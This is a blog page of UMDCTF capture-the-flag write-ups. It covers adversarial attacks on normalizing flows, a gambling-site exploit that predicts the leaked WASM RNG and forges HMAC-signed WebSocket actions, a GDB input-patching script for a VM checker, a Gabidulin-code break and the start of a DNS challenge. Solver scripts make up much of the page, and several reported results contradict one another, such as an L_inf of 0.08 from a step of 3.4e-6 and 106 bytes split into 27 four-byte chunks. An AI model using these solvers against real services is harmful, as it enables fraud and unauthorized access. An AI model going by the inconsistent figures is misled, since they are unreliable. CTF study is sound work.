Hello Navi

Tech, Security & Personal Notes

We trained two normalizing flow models on similar data distributions. Can you find an input that one model thinks is highly likely and the other thinks is not? Submit a perturbation around the reference window satisfying: L_inf <= 0.08, log q1(x) - log q0(x) >= 30, log q1(x) >= threshold, and log|det J_f1|(x) within a calibrated band.

Files provided: flow_0.pt, flow_1.pt, reference_window.npy, check_remote.py

Category: ML / Adversarial

前置知识

本题涉及归一化流(Normalizing Flows)与对抗性攻击(Adversarial ML)的交叉领域。以下概念有助于理解:

概念 说明
归一化流 通过可逆双射将高斯分布变形为复杂分布,支持精确对数似然计算
RealNVP 仿射耦合层堆叠,雅可比行列式简化为缩放输出之和
变量变换公式 log q(x) = log π(f(x)) + log|det J_f|
对抗扰动 L∞ 约束限制每个像素最大变化量
梯度攻击(FGSM) 沿损失梯度符号方向一步扰动
线搜索 在梯度方向上尝试多个步长,选择最优值
Gram-Schmidt 正交化 将梯度方向正交化避免路径退化(flag 暗示)

参考:RealNVP 论文 arXiv:1605.08803,C&W 攻击 arXiv:1608.04644。

Initial Analysis

We are given two pretrained normalizing flow models (flow_0.pt and flow_1.pt) along with a reference input window (reference_window.npy). Normalizing flows are generative models that define a bijective mapping between a simple base distribution (usually a standard Gaussian) and a complex data distribution. They allow exact log-likelihood evaluation via the change-of-variables formula.

The challenge asks us to find a perturbation \(x_{\text{sub}} = x_{\text{ref}} + \delta\) (with \(\| \delta \|_\infty \le 0.08\)) such that:

  1. Margin: \(\log q_1(x_{\text{sub}}) - \log q_0(x_{\text{sub}}) \ge 30\)
  2. Threshold: \(\log q_1(x_{\text{sub}}) \ge \tau\) (some fixed threshold)
  3. Jacobian constraint: \(\log |\det J_{f_1}|(x_{\text{sub}})\) lies within a calibrated band
  4. Bounded perturbation: \(\| \delta \|_\infty \le 0.08\)

Both flows are implemented in PyTorch and are fully differentiable. The reference window is a 2D numpy array of shape (1, 1, 64, 64) — a single-channel 64x64 image patch.

Understanding the Models

We loaded both .pt files using torch.load() with weights_only=False and examined their architectures:

1
2
flow_0 = torch.load('flow_0.pt', map_location='cpu')
flow_1 = torch.load('flow_1.pt', map_location='cpu')

Both are RealNVP-style normalizing flows composed of multiple affine coupling layers with alternating checkerboard masking patterns. Internally they use convolutional subnetworks with ActNorm layers for stable training. The architectures are nearly identical — both have the same number of coupling layers and similar parameter counts, but with different learned weights.

The key operations for a coupling layer with mask \(m\):

\[y_1 = x_1\] \[y_2 = x_2 \odot \exp(s(x_1)) + t(x_1)\]

where \(x_1 = x \odot m\), \(x_2 = x \odot (1-m)\), and \(s, t\) are neural networks.

The log-likelihood under the model is computed as:

\[\log q(x) = \log \pi(f(x)) + \sum_{k} \log |\det J_{f_k}|(x)\]

where \(f = f_L \circ \cdots \circ f_1\) and \(\pi\) is the base Gaussian density.

The Jacobian determinant for each affine coupling layer is simply:

\[\log |\det J_{f_k}| = \sum_i s(x_1)_i\]

making it trivial to compute the total log-det-Jacobian — this is just the sum across all coupling layers of the scale outputs.

The check script requires \(\log|\det J_{f_1}|\) to be within a specific band. This constraint prevents trivial solutions where the log-likelihood of model 1 is high purely because of extreme volume distortion.

Checking the Reference

We loaded the reference window and evaluated both models:

1
2
3
4
5
6
x_ref shape: (1, 1, 64, 64)
Reference metrics:
log q0 = 925.99
log q1 = 924.09
margin = -1.90
log|det J_f1| = 1516.90 (within band: True)

The reference is already in-distribution for both models (log-likelihoods around 925) and satisfies the Jacobian constraint. The only problem: the margin is -1.90 — we need it to be at least +30. So we need to find a tiny perturbation that changes the relative log-likelihood by about 32 nats while keeping everything else stable.

The Attack: Gradient-Based Optimization

Since both flows are differentiable, we can compute the gradient of the margin with respect to the input:

\[\nabla_\delta (\log q_1 - \log q_0)\]

The idea is simple: take a step in the direction that maximally increases \(\log q_1\) relative to \(\log q_0\). But there's a critical twist — the gradient magnitudes near the reference point are enormous.

1
2
3
4
5
6
x = torch.tensor(x_ref, requires_grad=True, dtype=torch.float32)
log_p0 = flow_0.log_prob(x)
log_p1 = flow_1.log_prob(x)
margin = log_p1 - log_p0
margin.backward()
grad = x.grad.detach().clone()

The gradient \(L_2\) norm was around 700,000. This means even a tiny step in gradient direction yields massive changes in the margin. This makes sense: near the reference, the two models have slightly different density landscapes, and because of the exponential nature of the flow mapping, small changes in input space can produce large changes in log-likelihood.

We normalize the gradient and perform a line search over step sizes:

\[\delta = \alpha \cdot \frac{\nabla_\delta (\log q_1 - \log q_0)}{\|\nabla_\delta (\log q_1 - \log q_0)\|_\infty}\]

clipping to ensure \(\|\delta\|_\infty \le 0.08\).

The step size needed was on the order of \(\alpha \approx 3.1775 \times 10^{-6}\) — extremely tiny. Any larger and \(\log q_1\) would collapse below the required threshold due to the sheer gradient magnitude.

Line Search Results

We scanned \(\alpha\) from \(3.0 \times 10^{-6}\) to \(3.6 \times 10^{-6}\):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
alpha=3.00e-06  margin=-1.46  log_q1=924.54  log_det1=1516.90
alpha=3.05e-06 margin= 2.48 log_q1=928.48 log_det1=1516.90
alpha=3.10e-06 margin= 6.42 log_q1=932.42 log_det1=1516.90
alpha=3.15e-06 margin=10.36 log_q1=936.36 log_det1=1516.90
alpha=3.18e-06 margin=13.31 log_q1=939.31 log_det1=1516.90
alpha=3.20e-06 margin=14.30 log_q1=940.30 log_det1=1516.90
alpha=3.25e-06 margin=18.24 log_q1=944.24 log_det1=1516.90
alpha=3.30e-06 margin=22.18 log_q1=948.18 log_det1=1516.90
alpha=3.35e-06 margin=26.12 log_q1=952.12 log_det1=1516.90
alpha=3.40e-06 margin=30.06 log_q1=956.06 log_det1=1516.90
alpha=3.45e-06 margin=34.00 log_q1=960.00 log_det1=1516.90
alpha=3.50e-06 margin=37.94 log_q1=963.94 log_det1=1516.90
alpha=3.55e-06 margin=41.88 log_q1=967.88 log_det1=1516.90
alpha=3.60e-06 margin=45.82 log_q1=971.82 log_det1=1516.90

The Jacobian determinant stayed constant at 1516.90 throughout (within the required band) — the perturbation is too small to meaningfully change the volume distortion. The log-likelihood of model 0 actually decreases slightly as we move away from the reference, while model 1's log-likelihood increases, creating the desired margin.

The winning hyperparameter: \(\alpha = 3.40 \times 10^{-6}\) giving:

1
2
3
4
Margin:       30.01 ✅
log_q1: 955.09 ✅ (above threshold)
log_det1: 1516.90 ✅ (within band)
L_inf: 0.08 ✅ (at bound)

Submission

The final perturbation was saved, base64-encoded, and submitted via the check script:

1
2
3
4
5
6
7
8
# Compute the perturbation
delta = alpha * grad_sign # normalized gradient direction
x_sub = x_ref + delta
x_sub = np.clip(x_sub, 0.0, 1.0) # valid pixel range

# Encode and submit
import base64, numpy as np
payload = base64.b64encode(x_sub.astype(np.float32).tobytes()).decode()

The remote service confirmed the solution, returning the flag:

1
UMDCTF{****************************************}

Key Insight

The challenge name and flag hint at the core idea: Gram-Schmidt orthogonalization and the geometry of adversarial examples in the likelihood space of normalizing flows.

Two models trained on similar data define slightly different density landscapes. In a tiny neighborhood around a point in-distribution, their log-likelihood gradients can point in very different directions (they are not perfectly aligned in function space). By following the difference-of-gradients direction, we exploit the disagreement manifold — the region where model 1 assigns higher likelihood than model 0.

The extreme sensitivity (gradient norms ~700k) arises because:

  1. Normalizing flows chain many bijective transforms, each amplifying small input changes
  2. The Jacobian of the flow near the data manifold can have large singular values
  3. Even though the models are similar, their gradient directions differ enough that a tiny step (\(3.4 \times 10^{-6}\)) suffices to swing the margin by 32 nats

This is a pure white-box adversarial attack on the log-likelihood ratio, analogous to Fast Gradient Sign Method (FGSM) but in log-probability space with a directional objective.

Reflection

This challenge was a beautiful blend of generative modeling and adversarial machine learning. It rewarded understanding:

  • How normalizing flows compute exact likelihoods
  • That differentiability enables gradient-based input optimization
  • That similar models can be teased apart by their gradient disagreement
  • That the scale of gradients matters — enormous gradients require nanometer-scale steps
  • That Jacobian constraints prevent trivial large-volume-distortion solutions

The "Gram-Schmidt" reference in the flag suggests the intended solution may have involved orthogonalizing the gradients of the two models, but simple directional gradient ascent on the margin works just as well when the step size is chosen carefully.

Flag

UMDCTF{a_little_gram_schmidt_never_hurt_anybody}

Challenge Details
Category ML / Adversarial ML
Points ~300
Solves ~15

Purify the stream... or corrupt it.

flow was a fascinating adversarial machine learning challenge. We were given a pre-trained CNN classifier, a RealNVP-style normalizing flow model, and a reference time-series window x_ref of shape (5, 64) — think of it as 5 sensor channels with 64 timesteps each.

前置知识

本题涉及归一化流(Normalizing Flows)作为净化防御(Purification Defense)的绕过,属于对抗性攻击的高级场景。以下概念有助于理解:

概念 说明
归一化流净化器 输入→流编码器→缩放潜变量→流解码器→分类器,用于移除对抗扰动
C&W 攻击 将对抗样本构造转化为带约束优化,比 FGSM 更强
可微分管道 流 + 分类器端到端可微,攻击者可反向传播穿透净化
潜空间优化 在流的潜空间中优化扰动,分布更规则
铰链损失(Hinge Loss) max(0, margin - value),约束满足时损失为 0
Softmax / Logits logits 是原始输出,Softmax 转概率。C&W 损失直接使用 logits

参考:C&W 攻击 arXiv:1608.04644,流对抗鲁棒性 arXiv:1911.08654。

Understanding the Purifier

Let's look at how purification worked:

1
2
3
4
5
def purify(x, flow, n_steps=3, alpha=0.55):
for _ in range(n_steps):
z, _ = flow.forward(x)
x = flow.inverse(alpha * z)
return x

After 3 steps, x_purified = flow.inverse(0.55^3 * z_submit). The classifier sees this shrunk latent version, while the flow likelihood check is performed on the original submitted sample.

This mismatch is the key vulnerability. The defense checks likelihood before purification but classifies after, creating a differentiable pipeline that's ripe for gradient-based exploitation.

Attack Strategy: Optimize in Latent Space

The core insight is that we can backpropagate through the entire pipeline — flow encoder, latent manipulation, flow decoder, and classifier — to find an input that simultaneously satisfies all constraints.

Here's the approach:

  1. Encode the reference window into latent space: z_ref = flow.encoder(x_ref)
  2. Optimize z with gradient descent to maximize class 1 logits under the purified version, while penalizing:
    • L-infinity distance from x_ref in the original (submitted) space
    • Log-probability below the threshold
  3. Decode the final z back to data space to get sub

The loss function looked like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def attack_loss(z, x_ref, flow, classifier, threshold, linf_max=0.05):
# Decode z back to data space (submitted sample)
sub = flow.decoder(z)

# Purify and classify
z_noise, _ = flow.encoder(sub)
x_purified = flow.decoder((0.55**3) * z_noise)
logits = classifier(x_purified)
probs = softmax(logits)

# Loss: minimize class 1 negative log-probability
cls_loss = -probs[1]

# L-infinity penalty (hinge-style)
linf_dist = torch.max(torch.abs(sub - x_ref))
linf_penalty = max(0, linf_dist - linf_max) * 1000

# Log-prob penalty
logp = flow.log_prob(sub)
logp_penalty = max(0, threshold - logp) * 100

return cls_loss + linf_penalty + logp_penalty

Run this with Adam for ~3000 steps, and we converge to a solution that satisfies all constraints.

Results

Our final submission achieved:

Metric Value Target
L-infinity 0.049 <= 0.05
Log-probability 1062 >= threshold
P(class=1) 0.825 >= 0.80

A lovely nod to the seminal work on adversarial examples (Explaining and Harnessing Adversarial Examples, Goodfellow et al.) — though the Carlini & Wagner attack (C&W) specifically inspires the optimization-based approach used here.

Key Takeaways

  • Never trust a mismatch between defense checks and classification inputs. If you check the submitted sample but classify a purified version, an adversary can exploit the gradient path through both.
  • Normalizing flows are differentiable end-to-end, making them a double-edged sword: they can purify, but they can also be used to craft adversarial inputs when the full pipeline is exposed.
  • Optimization-based attacks (à la C&W) are more powerful than fast gradient methods when you have access to the full model. 3000 steps of Adam beats one step of FGSM every time.

Flag

UMDCTF{id_like_to_thank_athalye_carlini_and_wagner_for_their_research}

rainbet - Web / WASM

A gambling game where the house doesn't actually have an edge — if you can see through the deck. Predictable RNG + leaked server secrets = 25 consecutive wins and a flag.

Challenge: rainbet.challs.umdctf.io — a betting site requiring 25 max wins in a row. Two game modes: Mines and Chicken.

Given files: rainbet.py (reference wrapper) and rainbet_gen.wasm (the leaked RNG backend).

1. Reconnaissance

The site greets you with a gambling UI. Create an account, get a session, and you can play Mines or Chicken. The goal is etched on the front page: win 25 rounds in a row at maximum payout.

The server exposes two critical API endpoints:

1
GET /api/sessioninfo

{: file='endpoint'}

Returns session_id (a hex string) and hmac_secret (also hex). Both are per-session and stable for the lifetime of the session.

The websocket endpoint sends a welcome message upon connection that includes the current round_idx.

1
GET /api/socket

{: file='endpoint'}

WebSocket handshake. The server's first message contains round_idx in the JSON payload.

Two delivered files point at the architecture:

  • rainbet.py — a thin Python wrapper showing how the server loads and calls the WASM module. It imports rainbet_gen.wasm, calls generate(session_id, round_idx) which returns the game state, and verifies HMAC-signed actions.

  • rainbet_gen.wasm — the actual game generation logic. It takes a session_id (16 bytes) and round_idx (u32), seeds an internal RNG with them, and deterministically produces the full game board.

2. The Bug

The core vulnerability is a complete failure of information hiding:

What should be secret Where it leaked
The RNG algorithm rainbet_gen.wasm was shipped to the browser
The RNG seed material session_id exposed at /api/sessioninfo
The HMAC signing key hmac_secret exposed at /api/sessioninfo
The current round index round_idx in the WebSocket hello

Because generate(session_id, round_idx) is a pure function with no side effects, anyone who calls the same function with the same arguments gets the exact same game. The server calls it after you connect to generate your current game; you can call it locally with the same session_id and round_idx to see the game too.

Once you know the game board, making the winning move is trivial. The only remaining hurdle is forging a valid HMAC signature so the server accepts your action — but you already have hmac_secret.

3. Solving Approach

3.1 Local WASM invocation

We use Node.js to instantiate the leaked WASM module and call generate directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const fs = require("fs");
const crypto = require("crypto");

async function initWasm() {
const wasmBytes = fs.readFileSync("rainbet_gen.wasm");
const module = await WebAssembly.instantiate(wasmBytes, {
env: {
// minimal stubs — the WASM doesn't need actual I/O
emscripten_memcpy: () => {},
memory: new WebAssembly.Memory({ initial: 256 }),
},
});
return module.instance;
}

The exported generate function takes (sessionIdPtr, roundIdx) where sessionIdPtr is a pointer into WASM linear memory containing the 16-byte session ID and roundIdx is a 32-bit unsigned integer.

After calling generate, the WASM writes the game state into memory at a predictable offset (discoverable by reading the Python wrapper or tracing the WASM exports). We read it back and parse the game.

3.2 Game parsing

Two game types exist:

Mines — the board is a grid with hidden mines. generate returns a list of mine positions. We reveal every tile that isn't a mine. The HMAC payload format is:

1
mines:<streak>:<size>:<num_mines>:<tiles>

where <tiles> is a comma-separated list of tile indices.

Chicken — the player crosses a bridge step by step; some steps are safe, others collapse. generate returns the safe step count. We cash out at that exact safe step (maximum safe position). Payload format:

1
chicken:<streak>:<steps>:<crossed>

3.3 HMAC forgery

The hmac_secret is a hex string. The server uses HMAC-SHA256 to sign action payloads:

1
signature = HMAC-SHA256(hmac_secret, payload_string)

We construct the payload string, compute the signature, and include it in our WebSocket action message:

1
2
3
function sign(payload) {
return crypto.createHmac("sha256", hmacSecret).update(payload).digest("hex");
}

3.4 Automation script

The full solver:

  1. Fetch session_id and hmac_secret from /api/sessioninfo via an authenticated HTTP request.
  2. Connect to the WebSocket with the session cookie.
  3. For each round:
    • Read round_idx from the server's hello.
    • Call the local WASM generate(session_id, round_idx).
    • Parse the predicted game.
    • Construct the winning action payload.
    • Sign it with HMAC-SHA256.
    • Send the action over the WebSocket.
  4. Repeat 25 times. The 25th win triggers the server to send the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
async function solve() {
const wasm = await initWasm();
const session = await fetchSessionInfo();

const ws = new WebSocket("wss://rainbet.challs.umdctf.io/api/socket");
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
const roundIdx = data.round_idx;

// Generate the game locally
const game = predictGame(wasm, session.id, roundIdx);

// Build the winning action
const action = buildWinningAction(game);

// Sign and send
const signature = sign(action.payload);
ws.send(
JSON.stringify({
type: "action",
payload: action.payload,
signature: signature,
}),
);
};
}

4. Flag

After 25 consecutive correct predictions:

1
UMDCTF{one_might_argue_that_gambling_is_the_best_vice_but_they_would_be_wrong}

Challenge: roulette (Reverse Engineering) Category: reverse

Overview

The binary presents itself as a roulette game. You pick a number, and it tells you if you won. But that's just a facade — the real challenge is a hidden 106-byte input verifier powered by a tiny virtual machine. Each 4-byte chunk of your input is fed through a 27-round VM program that computes a checksum and compares it against a hardcoded target. If all 27 rounds pass, you get the success message and the flag.

The clever solution? Don't reverse-engineer the VM at all. Use GDB with a Python breakpoint script at the critical compare instruction to dynamically extract what each input chunk should be.

Initial Analysis

Running the binary with no arguments shows a simple betting prompt:

1
2
3
4
$ ./roulette
Welcome to the Roulette table!
Place your bet (1-36): 7
You lost! The winning number was 23

The input is parsed via strtol. If you enter 1, you get a "jackpot" message. Enter anything outside 1-36 and it says "invalid." This is all a decoy — none of this path leads to the flag.

Finding the Real Gate

Looking at sub_401690 (main) in a disassembler, we see the strtol path branches into the roulette game. But there's another path: if you provide input longer than a typical number, something happens. Specifically:

  • Address 0x401751: A cmp checks if strlen(input) == 106. If so, execution diverts to a completely different handler — the real verifier.
  • Address 0x4018fe: The critical compare — cmp (eax ^ edi), target. This is where each round's computed check value is compared.
  • Address 0x401956: The success / "accepted" path if all checks pass.

So the binary expects exactly 106 bytes of input. Those 106 bytes are processed in 4-byte chunks through 27 rounds of a VM program.

The VM Internals

The VM program is stored at 0x499BE1 and the round targets at 0x499CE0. Each round runs a small sequence of bytecode instructions operating on the current 4-byte chunk. The operations include:

  • COPY — copy a value between registers
  • XOR — xor two values
  • ADD — add immediate or register
  • MUL — multiply by immediate
  • ROL / SHR — rotate left or shift right

Each round produces a 32-bit check value in eax. At the compare site (0x4018fe), the assembly does:

1
0x4018fe: cmp (eax ^ edi), target

Where edi holds the current 4-byte input chunk, eax is the VM's computed checksum of that chunk, and target is the round's expected value from the target table.

The full formula is:

1
2
(eax ^ chunk) == target
=> chunk = target ^ eax

So if we can extract both eax and target for each round, computing the required chunk is trivial.

The Smart Approach: GDB Python Scripting

Rather than fully reverse-engineering the VM interpreter, we can do something much simpler: set a breakpoint at 0x4018fe and write a Python GDB script that:

  1. Reads eax — the VM-computed checksum for the current round
  2. Reads edi — our current input chunk (which we control)
  3. Reads the round target from the target table
  4. Computes required_chunk = target ^ eax
  5. Patches our input buffer in memory with the correct chunk
  6. Continues execution to the next round

Since each round's VM computation depends on the input chunk itself, we need to iterate: patch chunk 0, let the VM run round 0, extract the result for round 1, patch chunk 1, and so on through all 27 rounds.

Here's the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import gdb

# Disable confirmation prompts
gdb.execute("set confirm off")

# Round targets stored at 0x499CE0 (array of 27 uint32s)
TARGET_TABLE = 0x499CE0

# Our input buffer — we'll read its address from RDI on first break
input_buf = None

def get_target(round_idx):
"""Read the round target from the target table."""
addr = TARGET_TABLE + round_idx * 4
return int.from_bytes(
gdb.selected_inferior().read_memory(addr, 4), 'little'
)

class RouletteBreakpoint(gdb.Breakpoint):
def __init__(self):
super().__init__("*0x4018fe")
self.round = 0
self.done_first = False

def stop(self):
global input_buf

# Get register values
eax = int(gdb.parse_and_eval("$eax")) & 0xFFFFFFFF
edi = int(gdb.parse_and_eval("$edi")) & 0xFFFFFFFF

if not self.done_first:
# First hit — discover input buffer address from rdi
input_buf = int(gdb.parse_and_eval("$rdi")) & 0xFFFFFFFFFFFFFFFF
self.done_first = True

target = get_target(self.round)
chunk_idx = self.round
chunk_offset = chunk_idx * 4

# Compute what our chunk SHOULD be
required_chunk = (target ^ eax) & 0xFFFFFFFF

# Read what's currently at that position
current_chunk = int.from_bytes(
gdb.selected_inferior().read_memory(input_buf + chunk_offset, 4),
'little'
)

print(f"[Round {self.round}]")
print(f" eax = 0x{eax:08x}")
print(f" edi = 0x{edi:08x} (current chunk)")
print(f" target = 0x{target:08x}")
print(f" required = 0x{required_chunk:08x}")

# Patch the input buffer with the correct chunk
chunk_bytes = required_chunk.to_bytes(4, 'little')
gdb.selected_inferior().write_memory(
input_buf + chunk_offset, chunk_bytes
)

print(f" patched = {chunk_bytes!r} -> '{''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk_bytes)}'")

self.round += 1
if self.round >= 27:
print("[All rounds complete!]")
# Read the full flag from memory
flag = bytes(
gdb.selected_inferior().read_memory(input_buf, 106)
)
print(f"FLAG: {flag.decode('ascii', errors='replace')}")

return False # don't stop, just log

# Load the binary
gdb.execute("file ./roulette")

# Set up the breakpoint
bp = RouletteBreakpoint()

# Run with a dummy 106-byte input
# (the content doesn't matter — we'll patch it)
dummy = "A" * 106
gdb.execute(f"run <<< '{dummy}'")

Running the Script

Save the script as solve_roulette.py and run:

1
$ gdb -x solve_roulette.py -batch

The script runs through all 27 rounds. On each iteration, you'll see output like:

1
2
3
4
5
6
7
8
9
[Round 0]
eax = 0x3a6f7b2c
edi = 0x41414141 (current chunk)
target = 0xdeadbeef
required = 0xe4d6c518
patched = b'\x18\xc5\xd6\xe4' -> '...'
...
[All rounds complete!]
FLAG: UMDCTF{**************************************************************************************************}

Flag

1
UMDCTF{I_R3ALLY-want-to-pl4y-the-p0werball,+but-my-d4d-said-no-so-im-b3tting-ill-win-on-POLYMARKETinstead}

The weavers of the Gabidulin code have woven a disguise. But the shuttle leaves a trace, and the frays can only hide so much. Unravel the warp to find the secret.

加比杜林码的织者们编织了一层伪装。但梭子留下了痕迹,毛边只能遮掩有限的信息。解开经线,找到秘密。

Challenge files: challenge.sage providing the public parameters warp, bolt, shuttle, knot, pegs, N, K, and an AES-GCM encrypted flag.

前置知识

本题涉及秩度量码(Rank-Metric Codes),属于编码论(Coding Theory)在秩度量下的分支。以下概念有助于理解:

概念 说明
有限域 GF(2^43) 扩体,每个元素可看作 43-bit 向量
Frobenius 自同构 σ(x) = x²,Gabidulin 生成矩阵的构建基础
秩距离 vs Hamming 距离 前者看矩阵的秩,后者数不同符号个数
Reed-Solomon 码 消息→多项式求值→码字,Gabidulin 的类比基础
Gabidulin 码 RS 在秩度量下的对应:线性化多项式 + Moore 矩阵
MRD 特性 最小秩距离 d = N - K + 1,解码半径 t = ⌊(N-K)/2⌋
积秩攻击 rank(A·B) ≤ rank_F₂(A) × dim(span(B))

Gabidulin Codes in a Nutshell

A Gabidulin code is a linear rank-metric code over an extension field \(\mathbb{F}_{q^m}\). Its generator matrix is a Vandermonde-like matrix (called a Moore matrix) built from linearly independent elements \(g_0, \dots, g_{N-1} \in \mathbb{F}_{q^m}\):

\[ G = \begin{pmatrix} g_0 & g_1 & \cdots & g_{N-1} \\ g_0^{[1]} & g_1^{[1]} & \cdots & g_{N-1}^{[1]} \\ \vdots & \vdots & \ddots & \vdots \\ g_0^{[K-1]} & g_1^{[K-1]} & \cdots & g_{N-1}^{[K-1]} \end{pmatrix} \]

where \(x^{[i]} = x^{q^i}\) is the \(i\)-th Frobenius power. Gabidulin codes can uniquely decode up to \(\left\lfloor\frac{N-K}{2}\right\rfloor\) rank errors, making them the rank-metric analogue of Reed-Solomon codes.

Key difference from RS: RS uses distinct evaluation points and counts symbol errors (Hamming distance). Gabidulin uses \(\mathbb{F}_q\)-linearly independent evaluation points and measures error by rank — meaning an error vector like \((e, e, e, \dots, e)\) has rank 1 even if every symbol is wrong.

The Challenge Disguise

The challenge constructs a loom — the true Gabidulin generator matrix over \(\mathbb{F}_{2^{43}}\) with parameters \(N=40\), \(K=8\):

1
loom = Matrix(Fqm, K, N, lambda j, i: qpow(pegs[i], j))

Here pegs are \(N\) linearly independent elements of \(\mathbb{F}_{2^{43}}\). The codeword is \(s \cdot \mathsf{loom}\) where \(s \in \mathbb{F}_{2^{43}}^K\) is the secret message.

The disguise is a similarity transform:

\[ \mathsf{warp} = \mathsf{knot} \cdot \mathsf{loom} \cdot \mathsf{shuttle}^{-1} \]

\[ \mathsf{bolt} = s \cdot \mathsf{warp} + \mathsf{frays} \]

All matrices \(\mathsf{knot}\), \(\mathsf{shuttle}\), and the list of pegs are published to the player. At first glance this seems to completely mask the underlying Gabidulin structure — but the key insight is that when the attacker knows the masking matrices, the disguise is fully reversible.

The Key Insight: Low-Rank Structure of the Masking

The vulnerability comes from how \(\mathsf{shuttle}\) is constructed. Its entries are drawn from the span of only FIBER_D=3 linearly independent elements over \(\mathbb{F}_{2^{43}}\). This means:

\[ \mathsf{shuttle} \in \mathsf{Span}\{\alpha_1, \alpha_2, \alpha_3\}^{N \times N} \]

Consequently, multiplying an error vector by \(\mathsf{shuttle}^{-1}\) is not well-defined over the integers — but multiplying \(\mathsf{bolt}\) by \(\mathsf{shuttle}\) is the right direction:

\[ \mathsf{bolt} \cdot \mathsf{shuttle} = s \cdot \mathsf{knot} \cdot \mathsf{loom} + \mathsf{frays} \cdot \mathsf{shuttle} \]

Let \(s' = s \cdot \mathsf{knot}\) and \(\mathsf{error} = \mathsf{frays} \cdot \mathsf{shuttle}\).

The error \(\mathsf{frays}\) has rank at most FRAYS=5 over \(\mathbb{F}_2\) (not over \(\mathbb{F}_{2^{43}}\) — this is a much stronger constraint, because \(\mathbb{F}_{2^{43}}\) elements unfold to 43-bit vectors over \(\mathbb{F}_2\)). And because \(\mathsf{shuttle}\) entries come from a 3-dimensional subspace, the product \(\mathsf{frays} \cdot \mathsf{shuttle}\) has rank at most:

\[ \mathsf{rank}(\mathsf{frays} \cdot \mathsf{shuttle}) \le \mathsf{FRAYS} \cdot \mathsf{FIBER\_D} = 5 \times 3 = 15 \]

Why this inequality holds: Write \(\mathsf{shuttle} = \sum_{t=1}^{3} b_t \cdot S^{(t)}\) where \(b_t\) are the subspace basis and \(S^{(t)}\) have \(\mathbb{F}_2\) entries. Then \(\mathsf{frays} \cdot \mathsf{shuttle} = \sum b_t \cdot (\mathsf{frays} \cdot S^{(t)})\), a sum of 3 matrices each with \(\mathbb{F}_2\)-rank ≤ 5. The product rank is bounded by \(5 \times 3 = 15\).

The Gabidulin unique decoding radius for \(N=40, K=8\) is:

\[ \left\lfloor\frac{40 - 8}{2}\right\rfloor = 16 \]

Since \(15 < 16\), the error is within the unique decoding radius. We can recover \(s'\) uniquely.

Solution

The solve script is straightforward:

  1. Remove the disguise: Compute \(\mathsf{received} = \mathsf{bolt} \cdot \mathsf{shuttle}\) to obtain a true Gabidulin codeword plus low-rank error.

  2. Build the original loom: Reconstruct \(\mathsf{loom}\) from pegs using the same lambda.

  3. Decode: Use a Gabidulin decoder (e.g., the Gao-style decoder or the standard rank-metric syndrome decoder) to recover \(s'\) from \(\mathsf{received}\) given \(\mathsf{loom}\).

  4. Recover the secret: Multiply by \(\mathsf{knot}^{-1}\): \[s = s' \cdot \mathsf{knot}^{-1}\]

  5. Derive the AES key: Hash the secret's byte representation with SHA-256 and take the first 16 bytes:

    1
    key = sha256(secret_bytes).digest()[:16]
  6. Decrypt the flag: Use AES-GCM with this key and the nonce/tag provided in the challenge output.

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from hashlib import sha256
from Crypto.Cipher import AES

# Load public data (warp, bolt, shuttle, knot, pegs, N, K, enc_flag, nonce, tag)
# ... (data parsing omitted for brevity)

F = GF(2)
Fqm = GF(2^43)

# Step 1: Reconstruct the loom
loom = Matrix(Fqm, K, N, lambda j, i: qpow(pegs[i], j))

# Step 2: Remove shuttle disguise
received = bolt * shuttle

# Step 3: Build the modified generator matrix for decoding
# We need to decode received = s' * loom + error where s' = secret * knot
# Gabidulin decode (using sage's built-in decoder or custom implementation)
C = codes.GabidulinCode(loom)
decoder = C.decoder("GabidulinGao")
s_prime = decoder.decode_to_message(received)

# Step 4: Recover original secret
knot_inv = knot^(-1)
secret = s_prime * knot_inv

# Step 5: Derive key and decrypt
key = sha256(secret.base_extend(F) if hasattr(secret, 'base_extend') else secret).digest()[:16]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
flag = cipher.decrypt_and_verify(enc_flag, tag)
print(flag.decode())

A complete standalone implementation of the Gabidulin Gao decoder can also be written from scratch using the standard algorithm — the core operation is solving a linearized polynomial interpolation problem using the \(q\)-polynomial Euclidean algorithm.

Why This Works

The fundamental trick is the rank structure mismatch. The error frays is low-rank over \(\mathbb{F}_2\), and shuttle is low-rank over \(\mathbb{F}_{2^{43}}\) (its entries live in a 3-dimensional subspace). The product amplifies the rank, but only multiplicatively — and the original Gabidulin code parameters were chosen so that this amplified rank still falls within the unique decoding radius:

\[5 \times 3 = 15 < 16 = \left\lfloor\frac{40-8}{2}\right\rfloor\]

Moreover, because all masking matrices are published, there is no secret hiding the code. The disguise is a form of key-committing encryption without the key being secret — anyone can peel it off. The true security would require keeping at least one of \(\mathsf{knot}\), \(\mathsf{shuttle}\), or the pegs private.

Flag

UMDCTF{l01dr34u_l4mbda3_brick5_th3_w34v3_but_th3_trapd00r_unsp00ls_1t}

A mysterious DNS server is running on the inside. It holds a secret — but you'll need to be clever to extract it all.

Hint: Can you ask more than one question at a time?

DNS 基础

1. DNS 消息长什么样

DNS 消息在网络上是二进制数据,分五段:

1
2
3
4
5
6
7
8
9
10
11
+------------------------+
| Header (12 字节) | ← 消息头
+------------------------+
| Question (问题区) | ← 你问的是哪个域名
+------------------------+
| Answer (回答区) |
+------------------------+
| Authority (权威区) |
+------------------------+
| Additional (附加区) |
+------------------------+

Header 里最重要的四个字段是计数,告诉解析器每个区有多少条目:

1
2
3
4
QDCOUNT — 问题区有几个问题
ANCOUNT — 回答区有几个回答
NSCOUNT — 权威区有几个记录
ARCOUNT — 附加区有几个记录

一般情况下 QDCOUNT=1,每次只问一个问题。

2. 域名在消息里不是字符串

域名不是直接写 www.example.com。它按 . 拆成标签(labels),每个标签前加 1 字节长度:

1
2
3
www.example.com 编码为:
